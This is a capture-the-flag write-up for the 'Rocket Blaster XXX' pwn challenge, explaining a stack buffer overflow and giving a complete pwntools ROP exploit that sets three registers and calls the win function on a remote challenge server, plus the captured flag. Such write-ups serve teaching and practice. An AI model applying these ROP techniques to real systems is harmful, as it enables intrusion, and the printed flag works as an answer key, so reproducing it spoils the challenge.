> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/ctf/cyber-apocalypse-2024-hacker-royale/pwn/rocket-blaster-xxx.md).

# Rocket Blaster XXX

{% file src="/files/YPBZpL1ZC9zC0s1k5G19" %}

### <mark style="color:blue;">Challenge Description :</mark>&#x20;

```
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
```

### <mark style="color:red;">File Reconnaissance :</mark>

the binary is 64bit architecture not stripped which makes reversing easier and the only protection present is `NX` which makes `injecting shellcode` useless since it will not be executed

<div align="left"><figure><img src="https://i.postimg.cc/YCqL3qLT/image.png" alt=""><figcaption></figcaption></figure></div>

let's open the binary using ghidra and we can see that we have a buffer overflow and the offset to the return address is 40

<div align="left"><figure><img src="https://i.postimg.cc/8z9k61RR/image.png" alt=""><figcaption></figcaption></figure></div>

there is a win function that prints the flag but it checks 3 arguments if they are satisfied it will print the flag

<div align="left"><figure><img src="https://i.postimg.cc/6QVspwY5/image.png" alt=""><figcaption></figcaption></figure></div>

### Exploit.py :

```python
from pwn import *

# Set up pwntools for the correct architecture
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('83.136.254.108', 43640)
offset = 40
ret = 0x40101a 
pop_rdi = 0x40159f #0x000000000040159f: pop rdi; ret;
pop_rsi = 0x40159d #0x000000000040159d: pop rsi; ret;
pop_rdx = 0x40159b #0x000000000040159b: pop rdx; ret;
payload = flat(
    (offset - 8) * b'A',
    0x405500,
    ret, # stack alignement
    pop_rdi,
    0xdeadbeef,
    pop_rsi,
    0xdeadbabe,
    pop_rdx,
    0xdead1337,
    elf.functions.fill_ammo
)

# write("payload", payload)
io.sendlineafter(b'>> ', payload)

io.interactive()
```

### <mark style="color:red;">Flag :</mark>

```
HTB{b00m_b00m_r0ck3t_2_th3_m00n}
```